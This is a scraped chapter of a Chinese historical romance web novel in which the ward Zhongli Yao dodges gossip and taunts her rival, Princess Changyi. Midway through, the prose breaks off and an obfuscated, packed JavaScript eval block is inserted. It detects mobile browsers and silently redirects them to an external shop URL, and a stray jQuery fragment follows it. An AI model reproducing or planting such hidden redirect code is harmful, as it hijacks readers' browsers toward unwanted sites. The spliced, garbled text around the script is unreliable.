5. 宿敌
    钟离瑶一路上头也不回,快速离开了老夫人的院子,直到离那里远远的,哪怕回头也看不见,方才松了口气。

    绮玉在后面追的气喘呼呼,“小姐,您怎么……”跟后面有凶兽追一样。

    两条腿走的比她跑的都快!

    钟离瑶一边等她,一边用手绢擦了擦额头的汗渍,随口扯谎道:“我想起那只小鸟还没喂,怕给它饿着了。”

    绮玉终于追上她,闻言纳闷道:“可我记得含烟给它撒了把谷子。”

    “它不喜欢吃。”钟离瑶顺势承认,迷惑她的思维,“在哥……兄长为它寻到新的主人前,我得把它养好了。”

    适才用膳,祖孙俩竟真将她带偏了,脱口而出还是唤了句“哥哥”,再改口反倒惹绮玉笑了,她也跟着打趣:“小姐这是还不肯原谅小侯爷呢?”

    钟离瑶抿了抿唇,觉得还是有必要解释一下,至少身边人得明白她的想法。

    “我不是在置气,也没有责怪兄长。”她冷静又认真的说,“长安的风言风语传不到我耳朵里,但绮玉,你肯定听到过不少。虽是清者自清,可到底人言可畏,我不想连累他的前程。”

    绮玉倒没辩解,只是难掩惊讶:“原来小姐您都知道,怪不得这次……”

    长安城那么大,可贵人圈的谣言却从来都不经传,一点风吹草动都能闹的满城风雨,何况是她这种在漩涡中心的人。

    质疑钟离瑶身份的人从来都不只一个侯夫人,只是当年昭勇将军曾亲口承认过,如今将军府没落,又死无对证,剩她一个独苗,没人能证明她是假的。

    后来她被侯府收养,这一家人又对她好的过分,连成弗居那等出世之人都将她视做掌中宝,难免遭不少人嫉妒。

    背地里,有关她的谣言,层出不穷。

    之所以传不到她耳朵里,是因为侯府中人怜惜她,以及老夫人私下的命令,他们其实抓到过不少造谣的人,但是没用,永远都有人见不得她好。

    嫉妒,真是毫无来处,又是人之本性的情绪。

    “兄长等了三年,今岁就要参加科举,怎能再为我的事情操劳?如今我与兄长保持距离,对我对他都有益处。”钟离瑶淡淡笑道,“听说族里的长老们有意为兄长再订一门亲事,我这也正在相看人家,绝不可传出闲言。”

    那些关于她的谣言里,自然也有一些掺杂成弗居的,甚至是与风月挂钩,只不过刚一露头,就被雷霆手段压了下去,毕竟是一族之长,不容诋毁。

    而她,就没那么重要了。

    “小姐说得是。”绮玉再次被她的一通大道理说服,“奴婢日后定当谨记。”

    钟离瑶满意的点了点头,“所以,你以后也不要再说这种话了,若是传到了母亲耳朵里,又少不了一顿气恼。”

    “好,那小姐现在要去买些鸟食料吗?”绮玉看了看天色,今日倒不晒。

    入了三月,越来越暖和了。

    “行。”钟离瑶正愁找不到借口躲出去,“那还劳你去跟母亲知会一声。”

    女儿家不如儿郎自由,后宅女眷出门,皆要求得主母的允准,所幸她出门不多,侯夫人也懒得费心拦她,顶多讥讽两句,心情好还会给她多派两个护卫。

    绮玉去禀,她更不会为难。

    毕竟这府里上下谁都知道,她乃是老夫人的人,多多少少会卖两分面子。

    果然,她自己也清楚这一点,闻言点了点头,叮嘱道:“小姐先回去休息一会儿,待备好马车,我再去唤您。”

    “嗯。”钟离瑶压着笑意应下,目送绮玉拐去另一条小道,眼见四下无人,嘴里哼起欢快的小调,悠悠向前迈步。

    她心里不禁感叹,还是一个人的时候更自在,这侯府根本就是一座大鸟笼,早晚有一天,她要把命运掌握在自己手中,再也不用仰仗他人鼻息存活。

    只可惜这好心情还是没能维持太久,路过后花园的时候,钟离瑶见满园鲜花盛开,经花香吸引,特意绕道了其间了小路。

    不曾想,碰到了一个人。

    对方一脸高傲的向她走过来,钟离瑶却不得不屈膝行礼,再一次戴上假面,笑容以待,“臣女拜见昌颐郡主。”

    昌颐郡主,乃常宁长公主之女,是王室宠儿,又有长安第一贵女的美名。

    跟她,是天上地下的两种人。

    可偏偏,昌颐郡主思慕的人是成弗居,那家伙就像待她是义妹一样,待昌颐郡主也仅仅是表妹,甚至不如她。

    至少,她有亲近他的机会。

    成弗居从不会应允郡主的邀约,回回以温书之名拒绝,偏又一贯以礼相待。

    郡主找不出他的错处,更没办法迫人答应,再瞧见钟离瑶那独一份的特殊照拂,自然会吃醋,从而将她视作“眼中钉、肉中刺”,恨不得拔之而后快。

    从前嘛,钟离瑶不冤枉,她也视她做对手,彼此暗暗较量,郡主架不住她的诡计,吃了不少亏,偏又说不出口。

    是以,昌颐郡主一看清是她,登时火冒三丈,“怎么哪都有你?还不快让开!”

    钟离瑶不仅不让路,反倒站直了身子,笑吟吟的解释:“郡主真会说笑,这里是臣女的家,臣女不在才奇怪吧?”

    路那么宽,说的跟她不让就过不去一样,不过是故意找茬,她可不会怕她。

    这丫头,充其量就是只虚张声势的纸老虎,在她手上吃了那么多暗亏,还是不长记性,只会长年龄不会长脑子的蠢货。

    钟离瑶心里不屑,面上虽不会表露,却也从不惯着她,果见昌颐郡主恼了。

    “你让不让开?”她瞪目,怒气冲冲冲她低吼道,“本郡主命令你让开!”

    臣女家,言下之意,不就是她是客人嘛。

    同样是妹妹,甚至她与他合该是更亲近的,却不想半路跑出来一个义妹。

    昌颐郡主心中始终憋着一口气,偏又无处宣泄,真想把她的脸给挠花!

    钟离瑶一看她那眼神,就知道她想干什么,不动声色的往后退了一步。

    毕竟,她们俩曾经是打过一架的。

    彼时昌颐郡主刚被她设计在成弗居面前出了糗,精心准备的生辰礼物搞砸,正怀恨在心不得解,二人却在春日宴上遇见了,谁也逃不掉的交流会不是?

    钟离瑶怕她直接在宴会上生事,叫两家长辈知晓,便将昌颐郡主诱到了后花园的一处隐蔽之地,哪知俩人吵着吵着就打了起来,也忘了谁先动的手。

    反正女人掐架,无非挠脸抓头发,她记得最后是自己赢了,但也没落着好。

    两个人,姑且算两败俱伤吧。

    可撒完了气谁也不敢说出去,毕竟都是大家闺秀,名声还是要的,经钟离瑶的提议,她们装作难姐难妹,把脏水泼给了从草丛里窜出来的两只野猫。

    虽然最后,举办春日宴的那户人家,也没有找到这两只被凭空捏造出来的野猫,但这事到底还是糊弄过去了。

    今日在侯府中,钟离瑶可不想旧事重演,同样的暗亏,谁还能吃第二回?

    她也不拐弯抹角,直言道:“臣女当然可以让开,只是让开之前,臣女想提醒一下郡主。如果您是来拜访祖母的话,那就不凑巧了,祖母刚刚睡下。”

    大长公主祖皇帝唯一还在世的女儿、常宁长公主的亲姑姑,论辈分,昌颐郡主得唤一声姑外祖母,是娘家血亲。

    乐陵成氏的老族长尚公主后,整个成家人都与王室或多或少有些关系,毕竟就属大长公主的辈分最大,当今圣上亦要礼敬三分,连她的封号都是“福康”二字,祝愿她一生福顺康健。

    昌颐郡主用“表

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720649|144857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妹”的身份,在成弗居面前讨不得好,她就用“外侄孙女”的身份,隔三差五的来侯府晃悠。

    她对侯府的熟悉程度,说句不好听的,那就跟逛自家后花园一样,别说车马护卫了,连个侍女她都不带带的。

    今日这一趟,不消说,必然不是为了看望大长公主,八成是昌颐郡主在侯府安插的眼线告诉她,成弗居回府了。

    果不其然,昌颐郡主听到钟离瑶的这番话,颐指气使的面容僵了僵,旋即梗着脖子道:“寻常我不能来了吗?”

    钟离瑶再次福身行礼,微微笑道:“郡主驾到,不敢不迎,您随意进。”

    “少在这里给我惺惺作态!”昌颐郡主恶狠狠的骂了句,“本郡主没时间陪你耗着,我再说最后一便,让开!”

    她本就性急,这会儿想念心上人,更急了。

    钟离瑶暗暗撇嘴,文化人,骂人都这么文雅,她要不是被这层身份拘着,吐出口的字句不才要给人气个半死?

    说好听话这暴脾气抓不住重点,也罢,再逗逗她,钟离瑶侧身挪开两步。

    昌颐郡主狠狠用肩头撞了她一下,“擦”肩而过,钟离瑶早有准备,身子倾斜了一瞬,站的稳稳当当。

    她并没有躲开她的报复,只是在她走开几步后悠悠道:“方才用膳的时候,祖母谈论起了臣女与哥哥的婚事。”

    昌颐郡主霎时回身,怒吼道:“不可能!”

    钟离瑶目的达到,得逞的勾了勾唇,然后装出一脸无辜的表情转过身来,语气奇怪的问:“为什么不可能?”

    同为女人,又喜欢上同一个人,昌颐郡主对她的心思,当然也心知肚明。

    从前她对成弗居势在必得,但现在,这个男人她不想要了,凭她的姿色和本领,还怕找不到更好的目标对象?

    反正从现在开始,与昌颐郡主的博弈,她单方面结束了,她不跟她斗了。

    但这丫头太讨厌,结盟之前,她还是要先欺负她一下,解一解连日来的闷气,谁她偏偏就喜欢成弗居,该替他受过。

    钟离瑶心里痛快,就不肯解释那句饱含歧义的话,死的昌颐郡主眼睛都瞪圆了,噎了一阵儿,智商才找回来。

    “钟离瑶,你少诓我!”她一本正经的拆穿她,“你虽然是由姑外祖母抚养,但却记在表舅的名下,侯府门风清正,怎么可能会让你与表哥结缘?”

    世家看重声誉名望,不过是寻常事。

    她不好意思直接说成婚,换了个委婉的说辞,但透露的意思却也明明白白。

    只是她还是死脑筋,规矩都是人定了,若成为制定规则的人,又或者拿捏住制定规则的人,谁说不能变一变?

    只可惜,钟离瑶没有成功。

    可她才不会与昌颐郡主解释这些大逆不道的话,做作的瞪大了眼睛,脸颊慢慢的染上一抹红晕,小声辩解道:“郡主误会了,您说哪去了?臣女与哥哥清清白白,才不是您想的那样不堪。”

    她这般解释,倒像是欲盖弥彰。

    昌颐郡主气急,“你……”

    钟离瑶却没有再给她开口的机会,“臣女方才的意思是,祖母为我与兄长,各自挑选了些适婚的世家子弟。”

    她含笑看去,语气促狭,“这事儿郡主不是知晓么?怎么几日不见记性差了。”

    昌颐郡主立马反应了过来,“你耍我!”

    “这是什么话?”钟离瑶将自己摘的干干净净,“明明是郡主自己误解了,怎倒还赖到臣女头上?恃强凌弱?”

    昌颐郡主抿了抿唇,强压着火气道:“本郡主今日还有要事,懒得同你一般见识,下次见面,我再跟你算账!”

    钟离瑶也不反嘴,待到她转身离开时再次开口:“郡主难道不好奇,兄长的那一份名单上,有没有您的名字吗?”